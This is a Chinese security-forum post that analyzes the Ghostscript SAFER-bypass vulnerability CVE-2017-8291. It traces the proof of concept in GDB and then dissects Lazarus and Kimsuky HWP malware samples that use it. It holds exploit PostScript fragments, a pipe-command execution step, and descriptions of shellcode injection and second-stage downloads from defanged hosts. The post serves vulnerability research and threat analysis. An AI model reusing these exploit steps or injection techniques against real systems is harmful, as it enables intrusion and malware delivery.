吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 8675|回复: 17
收起左侧

[漏洞分析] CVE-2017-8291及利用样本分析

[复制链接]
ERFZE 发表于 2020-5-3 17:37

0x00 前言

笔者在此前从未接触过Postscript及Ghostscript(甚至不闻其名),该文权当笔者在学习过程中的一篇学习笔记,其中如有不当或错误之处,望读者不吝赐教,笔者感激不尽。

0x01 Postscript

读者可以先行安装Ghostscript,之后便可于其中运行下列示例。

0x01.1 介绍(引自维基百科)

注:读者若要详细了解,见参考链接。

PostScript是一种图灵完全的编程语言,通常PostScript程序不是人为生成的,而是由其他程序生成的。然而,仍然可以使用手工编制的PostScript程序生成图形或者进行计算。

PostScript是一种基于堆栈的解释语言(例如stack language),它类似于Forth语言但是使用从Lisp语言派生出的数据结构。这种语言的语法使用逆波兰表示法,这就意味着不需要括号进行分割,但是因为需要记住堆栈结构,所以需要进行训练才能阅读这种程序。

0x01.2 入门示例

  1. 1 2 add:1+2

  2. 3 4 add 5 1 sub mul:(3 + 4) × (5 - 1)

  3. /x1 15 def:定义一变量x1,其值为15

  4. /x1 x1 2 add defx1+=2

  5. x1 0 eq { 0 } if{}可以简单理解为定义一过程

  6. %!PS-Adobe-3.0 EPSF-3.0:注释语句以%开头

0x01.3 For语句

for语句语法:initial increment limit proc for

它会维护一个control variable,初始值设为initial。然后,在每次重复之前,会先比较control variablelimit。若未超过limit,则
control variable入栈,执行proc之后再将increment添加到control variable

示例如下:

0
1 1 10 {
    pop
    1 add
} for

可以用C语言写成(仅仅为表示其功能):

int a = 1;
int i;
for (i = 1; i <= 10; i++)
{
    a+=1:
}

图片1 运行结果

pstack打印当前栈中所有元素。

0x01.4 exch语句

交换堆栈顶部的两个元素:

图片2 exch

可以用来给变量赋值:

图片3 变量赋值

0x01.5 array语句

定义数组:

图片4 定义数组

0x01.6 put语句

为数组/字典/字符串中某个元素赋值:

图片5 数组

图片6 字典

图片7 字符串

0x01.7 index语句

index语句语法:anyn … any0 n index

复制第n个元素到栈顶:

图片8 index

forput语句结合使用,可以为整个数组赋值:

图片9 整个数组赋值

可以用C语言写成(仅仅为表示其功能):

int tmp[10];
int i;
int a = 0;
for (i = 1; i <= 10; i++)
{
    tmp[a] = i;
    a += 1;
}

0x01.8 get语句

put语句相反,取出数组/字典/字符串中某个元素:

图片10 数组

图片11 字典

图片12 字符串

0x01.9 aload语句

将数组元素及其自身入栈:

图片13 aload

0x01.10 le语句

取出栈顶两个元素进行比较,结果(前者小于后者,为true;反之为false)入栈:

图片14 数值

图片15 字符串

0x01.11 ge语句

le语句比较规则相反:

图片16 ge

0x01.12 repeat语句

repeat语句语法:int proc repeat

重复执行proc指定次数:

图片17 repeat

笔者上述介绍的语句均在POC中出现,若读者未完全理解,可进一步查阅官方参考文档。

0x02 POC分析

笔者分析环境:Ubuntu 18.04、Ghostscript 9.21、GDB+pwndbg

图片18 POC(Part 1)

可以用C语言写成(仅仅为表示其功能):

    int size_from = 10000;
    int size_step = 500;
    int size_to = 65000;

    int a = 0;
    int i;

    for (i = size_from; i <= size_to; i += size_step)
        a += 1;

    int buffercount = a;
    int* buffersizes = NULL;
    buffersizes = (int*)malloc(buffercount * sizeof(int));

    a = 0;
    for (i = size_from; i <= size_to; i += size_step)
    {
        buffersizes[a] = i;
        a += 1;
    }

图片19 POC(Part 2)

其功能为定义buffers,令buffers[n]buffersizes[n] string(e.g.:buffers[0]=10000 string),且每个buffers[n]的最后16位均为0xFF
关于cursize 16 sub 1 cursize 1 sub {curbuf exch 255 put}for这段代码如何修改buffers[n]的理解,可参阅下图:

图片20 示例代码


下面到了关键部分。首先修改POC如下:

/buffersearchvars [0 0 0 0 0] def
/sdevice [0] def

buffers            %++
(buffers) print    %++
pop                %++

enlarge array aload
(after aload) print        %++

如此一来,可直接在zprint()函数处设断。(若在zaload()函数处设断,无法一次断下)

启动GDB后设置参数如下:

set args -q -dNOPAUSE -dSAFER -sDEVICE=ppmraw -sOutputFile=/dev/null -f /home/test/exp.eps

实现aload操作的函数zaload()[位于/psi/zarray.c]是第一个关键点:

图片21 zaload()

b zprint设置断点,r开始执行后,成功在zprint()函数处断下:

图片22 于zprint()设断

查看osp及osbot(变量名osbot,osp和ostop代表operator stack的栈底、栈指针和栈顶):

gdb-peda$ p osbot
$29 = (s_ptr) 0x555557040408    
gdb-peda$ p osp
$30 = (s_ptr) 0x555557040418        
gdb-peda$ x /4gx osbot
0x555557040408:    0x0000006f5715047e    0x00005555572d5e60
0x555557040418:    0x00000007ffff127e    0x00005555575d44e9

根据ref_s结构(位于/psi/iref.h)的定义:

struct ref_s {

    struct tas_s tas;

    union v {            /* name the union to keep gdb happy */
        ps_int intval;
        ushort boolval;
        float realval;
        ulong saveid;
        byte *bytes;
        const byte *const_bytes;
        ref *refs;
        const ref *const_refs;
        name *pname;
        const name *const_pname;
        dict *pdict;
        const dict *const_pdict;
        /*
         * packed is the normal variant for referring to packed arrays,
         * but we need a writable variant for memory management and for
         * storing into packed dictionary key arrays.
         */
        const ref_packed *packed;
        ref_packed *writable_packed;
        op_proc_t opproc;
        struct stream_s *pfile;
        struct gx_device_s *pdevice;
        obj_header_t *pstruct;
        uint64_t dummy; /* force 16-byte ref on 32-bit platforms */
    } value;
};

可知0x00005555575d44e9地址处存储的应该是buffers字符串,验证之:

图片23 字符串buffers

那么0x00005555572d5e60地址处存储的是buffers数组,根据POC Part2能够得知buffers[n]buffersizes[n] string,且每个buffers[n]的最后16位均为0xFF,验证之:

图片24 数组元素buffers[0]

b zaloadzaload()函数处设断,c继续执行,于zaload()函数处成功断下后,s单步执行到if (asize > ostop - op)

gdb-peda$ p asize
$37 = 0x3e8
gdb-peda$ p ostop-op
$38 = 0x31f

IF条件成立,那么调用ref_stack_push()函数(位于/psi/istack.c)重新分配栈空间:

/*
 * Push N empty slots onto a stack.  These slots are not initialized:
 * the caller must immediately fill them.  May return overflow_error
 * (if max_stack would be exceeded, or the stack has no allocator)
 * or gs_error_VMerror.
 */
int
ref_stack_push(ref_stack_t *pstack, uint count)
{
    /* Don't bother to pre-check for overflow: we must be able to */
    /* back out in the case of a VMerror anyway, and */
    /* ref_stack_push_block will make the check itself. */
    uint needed = count;
    uint added;

    for (; (added = pstack->top - pstack->p) < needed; needed -= added) {
        int code;

        pstack->p = pstack->top;
        code = ref_stack_push_block(pstack,
                                    (pstack->top - pstack->bot + 1) / 3,
                                    added);
        if (code < 0) {
            /* Back out. */
            ref_stack_pop(pstack, count - needed + added);
            pstack->requested = count;
            return code;
        }
    }
    pstack->p += needed;
    return 0;
}

之后的操作是向重新分配的栈空间中写入内容,b zarray.c:71于修改osp语句设断,c继续执行到断点处:

gdb-peda$ x /2gx osp
0x5555575006f8:    0x0000000000000e00    0x0000000000000000
gdb-peda$ x /2gx &aref
0x7fffffffc8e0:    0x000003e85715047c    0x000055555796c3e8
gdb-peda$ s
......
gdb-peda$ x /2gx osp
0x5555575006f8:    0x000003e85715047c    0x000055555796c3e8

x /222gx 0x5555572d5e60查看buffers数组的每一项地址:

图片25 buffers

注意:osp(0x5555575006f8)位于上图箭头所指数组项下方。


实现.eqproc操作的函数zeqproc()(位于/psi/zmisc3.c)是第二个关键点。.eqproc是取出栈顶两个元素进行比较之后入栈一个布尔值(<proc1> <proc2> .eqproc <bool>):

图片26 zeqproc()

可以看出其在取出两个操作数时并未检查栈中元素数量,且并未检查两个操作数类型,如此一来,任意两个操作数都可以拿来进行比较。其修复方案即是针对此两种情况:

--- a/psi/zmisc3.c
+++ b/psi/zmisc3.c
@@ -56,6 +56,12 @@ zeqproc(i_ctx_t *i_ctx_p)
     ref2_t stack[MAX_DEPTH + 1];
     ref2_t *top = stack;

+    if (ref_stack_count(&o_stack) < 2)
+        return_error(gs_error_stackunderflow);
+    if (!r_is_array(op - 1) || !r_is_array(op)) {
+        return_error(gs_error_typecheck);
+    }
+
     make_array(&stack[0].proc1, 0, 1, op - 1);
     make_array(&stack[0].proc2, 0, 1, op);
     for (;;) {

b zeqproc设断后,c继续执行,于zeqproc()函数处成功断下。接下来b zmisc3.c:112make_false(op - 1);设断:

gdb-peda$ b zmisc3.c:112
Breakpoint 13 at 0x555555d1d754: file ./psi/zmisc3.c, line 112.
gdb-peda$ c
......
gdb-peda$ p osp
$66 = (s_ptr) 0x5555575006f8
gdb-peda$ x /4gx osp-1
0x5555575006e8:    0x0000000000000e02    0x0000000000000000
0x5555575006f8:    0x000003e85715047c    0x000055555796c3e8
gdb-peda$ s
......
gdb-peda$ x /4gx osp-1
0x5555575006e8:    0x0000000000000100    0x0000000000000000
0x5555575006f8:    0x000003e85715047c    0x000055555796c3e8

可以看到make_false()修改之处。之后的pop(1);将栈指针上移,如此一来.eqprocloop结合便可导致栈指针上溢。


下面来看POC Part3:

图片27 POC(Part3)

其通过buffersearchvars数组来检索buffers[N](修改项见图片25)字符串后16位是否被make_false()修改,进而判断osp是否到达可控范围,并通过buffersearchvars数组来保存位置。

于POC中254 le {后添加(Overwritten) print,并将之前添加的print语句全部注释掉。重新启动GDB,设置参数见上,b zprint设断后,r开始运行,成功断下后:

gdb-peda$ x /8gx osp-2
0x5555574fc958:    0xffffffffffff0100    0xffffffffffff0000
0x5555574fc968:    0x0000a604ffff127e    0x00005555574f2364
0x5555574fc978:    0x0000000a2f6e127e    0x00005555575de0fb
0x5555574fc988:    0x5245504150200b02    0x0000000000000001

如此一来,buffersearchvars[2]设为1,退出loop循环。buffersearchvars[3]保存当前检索的buffers[N],buffersearchvars[4]保存buffersizes[N]-16。


POC Part4是修改currentdevice对象属性为string,并保存至sdevice数组中,之后再覆盖其LockSafetyParams属性,达到Bypass SAFER。

图片28 POC(Part4)

三个.eqproc语句上移osp是因为后面会有sdevice、0、currentdevice入栈。修改POC如下,便于设断:

(before zeqproc) print
.eqproc
.eqproc
.eqproc
sdevice 0
currentdevice
(before convert) print
buffersearchvars 3 get buffersearchvars 4 get 16#7e put
buffersearchvars 3 get buffersearchvars 4 get 1 add 16#12 put
buffersearchvars 3 get buffersearchvars 4 get 5 add 16#ff put
(after convert) print
put

buffersearchvars 0 get array aload

sdevice 0 get
16#3e8 0 put

sdevice 0 get
16#3b0 0 put

sdevice 0 get
16#3f0 0 put

(bypass SAFER) print

zprint断下后,查看上移前osp:

gdb-peda$ p osp
$1 = (s_ptr) 0x5555574fc968
gdb-peda$ x /10gx osp-3
0x5555574fc938:    0x0000000000000000    0x0000000000000000        //sdevice
0x5555574fc948:    0x0000000000000000    0x0000000000000000        //0
0x5555574fc958:    0xffffffffffff0100    0xffffffffffff0000        //currentdevice
0x5555574fc968:    0x0000000effff127e    0x00005555572d8140
0x5555574fc978:    0x00000001ffff04fe    0x00005555572d6c40
gdb-peda$ hexdump 0x00005555572d8140
0x00005555572d8140 : 62 65 66 6f 72 65 20 7a 65 71 70 72 6f 63 ed 3e   before zeqproc.>

c继续向下执行:

gdb-peda$ p osp
$2 = (s_ptr) 0x5555574fc968
gdb-peda$ x /10gx osp-3
0x5555574fc938:    0x00000001ffff047e    0x00005555575d4428
0x5555574fc948:    0x00000252ffff0b02    0x0000000000000000
0x5555574fc958:    0xffffffffffff1378    0x000055555709d488
0x5555574fc968:    0x0000000effff127e    0x00005555572d812a
0x5555574fc978:    0x00000001ffff04fe    0x00005555572d6c40
gdb-peda$ hexdump 0x00005555572d812a
0x00005555572d812a : 62 65 66 6f 72 65 20 63 6f 6e 76 65 72 74 96 3f   before convert.?

可以看到currentdevice已经覆盖掉之前的字符串buffers[N],接下来的三条语句修改其属性:

buffersearchvars 3 get buffersearchvars 4 get 16#7e put
buffersearchvars 3 get buffersearchvars 4 get 1 add 16#12 put    %0x127e表示string
buffersearchvars 3 get buffersearchvars 4 get 5 add 16#ff put    %修改size

关于属性各字段定义见tas_s结构(位于/psi/iref.h)):

struct tas_s {
/* type_attrs is a single element for fast dispatching in the interpreter */
    ushort type_attrs;
    ushort _pad;
    uint32_t rsize;
};

修改完成:

gdb-peda$ c
......
gdb-peda$ p osp
$2 = (s_ptr) 0x5555574fc968
gdb-peda$ x /10gx osp-3
0x5555574fc938:    0x00000001ffff047e    0x00005555575d4428
0x5555574fc948:    0x00000252ffff0b02    0x0000000000000000
0x5555574fc958:    0xffffffffffff127e    0x000055555709d488
0x5555574fc968:    0x0000000dffff127e    0x00005555572d8115
0x5555574fc978:    0x00000002ffff0b02    0x000000000000a5f9
gdb-peda$ hexdump 0x00005555572d8115
0x00005555572d8115 : 61 66 74 65 72 20 63 6f 6e 76 65 72 74 97 3f 00   after convert.?.

查看此时的LockSafetyParams值:

gdb-peda$ x /4gx 0x000055555709d488+0x3e8
0x55555709d870:    0x0000000000000001    0x0000000000000000
0x55555709d880:    0x0000000000000000    0x0000000000000000
gdb-peda$ x /4gx 0x000055555709d488+0x3b0
0x55555709d838:    0x0000000000000000    0x0000000000000000
0x55555709d848:    0x0000000000000000    0x0000000000000000
gdb-peda$ x /4gx 0x000055555709d488+0x3f0
0x55555709d878:    0x0000000000000000    0x0000000000000000
0x55555709d888:    0x0000000000000000    0x0000000000000000

可以看到偏移0x3e8处值为1(另外两处偏移应该是针对其他系统或版本)。LockSafetyParams属性见gx_device_s结构(位于\base\gxdevcli.h)。

最后通过.putdeviceparams(实现位于/psi/zdevice.c)设置/OutputFile(%pipe%echo vulnerable > /dev/tty).outputpage完成调用。

0x03 Lazarus组织利用样本分析

0x03.1 样本1

样本名称:라자루스_에어컨계약.hwp

MD5:EC0C543675374A0EE9A83A4D55CA1A6C

使用HwpScan2打开文档,可以看到其中的PS脚本:

图片29 PS脚本

导出解压后的PS脚本,其中Y101变量存储加密后Shellcode,直接改写该脚本将Y101变量解密并写入一EPS文件中:

图片30 解密Shellcode

EPS脚本中有如下语句:

label13 label10 aload 

/label82 true def 
/label83 0 def 

{ 
    .eqproc 
    /label84 true def 
    /label69 0 def 
    label6                                      
    { 
        /label84 true def 
        /label3 label7 label69 get def            
        /label85 label3 length 16#20 sub def    
        label3 label85 get 
        {   
            label84 
            { /label84 false def } 
            { /label84 true def exit } 
            ifelse 
        } 
        repeat 
        label84 
            { /label82 false def exit } 
        if 
        /label69 label69 1 add def 
    } 
    repeat 
    label84 
        { /label82 false def exit } 
    if 
    /label83 label83 1 add def 
} 
loop 

label82 
    { quit } 
    { } 
ifelse 

label2 0 label2 
label3 label85 16#18 add 16#7E put 
label3 label85 16#19 add 16#12 put 
label3 label85 16#1A add 16#00 put 
label3 label85 16#1B add 16#80 put 
put 

可以看出其确实利用了CVE-2017-8291。

继续分析解密后EPS脚本可以看到其调用了VirtualProtect()函数:

图片31 调用VirtualProtect

x32dbg中打开gbb.exe,最新的HWP已经移除该组件,笔者分析时使用的HWP版本如下:

图片32 HWP版本

之后修改命令行,其参数为打开文档后于Temp目录下释放的PS脚本(即HwpScan2中的BIN0001.ps)完整路径:

图片33 改变命令行

VirtualProtect()函数处设断后F9运行,成功断下:

图片34 于VirtualProtect()断下

通过0xAABBCCDD标志确定ECX指向:

图片35 标志0xAABBCCDD

由ECX给函数传递参数,获取系统函数调用地址:

图片36 传递参数

图片37 获取系统函数调用地址

判断当前进程是否运行在WOW64环境中:

图片38 IsWow64Process

获取当前系统内所有进程的快照:

图片39 获取快照

获取第一个进程的句柄:

图片40 Process32First

通过Process32Next()枚举进程,并传递给sub_026AF131函数判断是否为explorer.exe

图片41 枚举并判断

返回explorer.exe进程ID:

图片42 explorer.exe进程ID

之后将Shellcode注入到explorer.exe进程中:

图片43 调用函数

图片44 第一次写入

图片45 第二次写入

x64dbg附加到explorer.exe上,分析其Shellcode功能。同样是通过0xAABBCCDD标志确定RCX指向:

图片46 标志0xAABBCCDD

由ECX给函数传递参数,获取系统函数调用地址:

图片47 传递参数

图片48 获取系统函数调用地址

之后调用sub_4890EE0判断当前进程是否为explorer.exe进程:

图片49 判断当前进程

移动指针指向,并将gozdeelektronik[.]net提取出来:

图片50 移动指针

图片51 提取gozdeelektronik[.]net

载入WinInet.dll

图片52 载入WinInet.dll

获取即将调用函数调用地址:

图片53 获取函数调用地址

之后从gozdeelektronik[.]net下载第二阶段载荷movie.jpg:

图片54 下载第二阶段载荷

0x03.2 样本2

样本名称:2020년 연구ㆍ전문원 및 수자원분야 경력사원 선발 모집요강.hwp

MD5:F90770D4A320BF15E51FDD770845DCE5

同样是先使用HwpScan2查看该文档:

图片55 HwpScan2

tomato变量存储的是未加密的EPS脚本,可直接将其内容复制出来查看。其与上一利用脚本不同之处在于其采用拼接方式来定义名称字符串:

......
{(KE) (RN) (EL) (32) (.D) (LL) 6 zyx01}
......
{(Vi) (rt) (ua) (lP) (rotect) 5 zyx01}
......
{(Ex) (it) (pro) (ce) (ss) 5 zyx01}
......

调试方法同上,不再赘述。可以成功在VirtualProtect()函数处断下:

图片56 于VirtualProtect()断下

获取GetProcAddress()调用地址:

图片57 获取GetProcAddress()调用地址

获取LoadLibrary()调用地址:

图片58 GetProcAddress(LoadLibrary)

载入msvcrt.dll并获取system()函数调用地址:

图片59 载入msvcrt.dll

图片60 GetProcAddress(system)

通过call 02250806指令来为system()函数传递参数:

图片61 调用system()

其执行指令的功能是于TEMP目录下创建一名为adsutil.vbs的VBS脚本,写入内容并执行该脚本:

图片62 指令功能

该VBS脚本经整理后内容如下:

图片63 VBS脚本内容

该脚本功能是于https[:]//matteoragazzini[.]it下载第二阶段载荷,解码后写入svchost.exe中并执行之。

0x04 Kimsuky组织某样本分析

样本名称:(첨부2)20-0206법인운영상황평가표서식(법인작성용).hwp

MD5:8AD471517E7457EB6EEA5E3039A3334F

HwpScan2查看该文档,会发现该样本不同于Lazarus组织的两个样本在于其EPS脚本最后部分:

图片64 HwpScan2

同样是在VirtualProtect()函数处断下:

图片65 于VirtualProtect()断下

通过ECX给sub_02544D7D传递参数获取系统函数调用地址:

图片66 获取函数调用地址

调用GetComputerName()获取计算机名并于其后添加经过计算的十六进制值,之后通过异或及指定运算来为即将创建的文件命名:

图片67 计算文件名

于临时目录下创建文件:

图片68 创建文件

之后再次计算一文件名并创建文件:

图片69 创建另一文件

调用ZwQuerySystemInformation()遍历系统所有打开的句柄,此时SystemInformationClass=SystemHandleInformation,若缓冲区不足则把申请内存的大小扩大一倍之后调用RtlReAllocateHeap()再次申请,直至成功为止:

图片70 ZwQuerySystemInformation()

接下来调用ZwQueryObject()查询对象的类型,找到打开的EPS文件:

图片71 ZwQueryObject()

使用CreateFileMapping()MapViewOfFile()函数将EPS文件映射到进程内存空间中:

图片72 映射文件

映射完成:

图片73 映射完成

移动指针指向EPS脚本最后部分:

图片74 定位

调用VirtualAlloc()函数为其开辟内存空间:

图片75 VirtualAlloc

解密并写入到分配的内存空间中:

图片76 解密并写入

实际上解密后的该部分将被注入到HimTrayIcon.exe进程中,详见下文分析。
获取当前系统内所有进程的快照之后通过Process32Next()枚举进程:

图片77 枚举进程

图片78 跳出循环

遍历线程,找到HimTrayIcon.exe之后打开并挂起线程:

图片79 遍历线程

将解密出来的Shellcode写入到进程:

图片80 注入

之后调用RtlCreateUserThread()函数恢复线程的执行。最终释放内存空间并退出:

图片81 退出

其注入Shellcode可以附加HimTrayIcon.exe之后调试,亦可将Shellcode转成exe之后调试,笔者选择转成exe之后再进行调试。解密内存中的PE文件:

图片82 解密PE文件

获取系统文件夹并拼接路径:

图片83 GetSystemDirectoryA

创建进程:

图片84 CreateProcess

调用GetThreadContext()函数,若失败则直接TerminateProcess

图片85 GetThreadContext

获取系统版本信息,以此来判断下一步如何执行:

图片86 GetVersionEx

多次调用WriteProcessMemory()函数于创建的进程中写入PE文件内容:

图片87 写入PE文件

恢复线程执行:

图片88 ResumeThread

0x05 参考链接

免费评分

参与人数 5吾爱币 +5 热心值 +5 收起 理由
‘json + 1 + 1 感觉好厉害,就是看不懂
dyctpy + 1 感觉好厉害,就是看不懂
温柔的一哥 + 1 + 1 热心回复!
hjm666 + 2 + 1 火钳刘明
悠然地2012 + 1 + 1 用心讨论,共获提升!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

hjm666 发表于 2020-5-6 16:47
看完了真挺详细的,Linux下的样本还没遇到过,以后要是遇到这个cve了就拿老哥的贴学习了,看到参考链接最后一条  推荐【BlobRunner】,遇到过比较大的shellcode用过后感觉挺可以的。   apt 淦啊
 楼主| ERFZE 发表于 2020-5-11 17:45
hjm666 发表于 2020-5-6 16:47
看完了真挺详细的,Linux下的样本还没遇到过,以后要是遇到这个cve了就拿老哥的贴学习了,看到参考链接最后 ...

嗯嗯,之前没了解过BlobRunner,回头试下,多谢师傅指教。
不许人间见白头T 发表于 2020-5-3 18:29
虽然不知道这是啥意思但是感觉很厉害的样子
zhang_yj 发表于 2020-5-3 18:51
深度好问 谢谢楼主分享,想问下有POC可以直接用吗?
 楼主| ERFZE 发表于 2020-5-3 19:01
zhang_yj 发表于 2020-5-3 18:51
深度好问 谢谢楼主分享,想问下有POC可以直接用吗?

请问您看完全文了吗?
zhang_yj 发表于 2020-5-3 19:05
ERFZE 发表于 2020-5-3 19:01
请问您看完全文了吗?

不好意思 我是个小白  没全看完
majia4075669072 发表于 2020-5-3 23:12
太厉害了,我也不会GhostScript,回头学点GhostScript再琢磨琢磨。
爱德华 发表于 2020-5-4 12:21
懵逼我的进来  懵逼的走
iiihaipi 发表于 2020-5-4 16:40
感谢分享
pazmx 发表于 2020-5-4 21:14
支持一下
ericye_cn 发表于 2020-5-5 01:10
没有接触过GhostScript,但看得出绝对是一篇硬核的好文,感谢楼主分享,辛苦
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-4-20 12:56

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表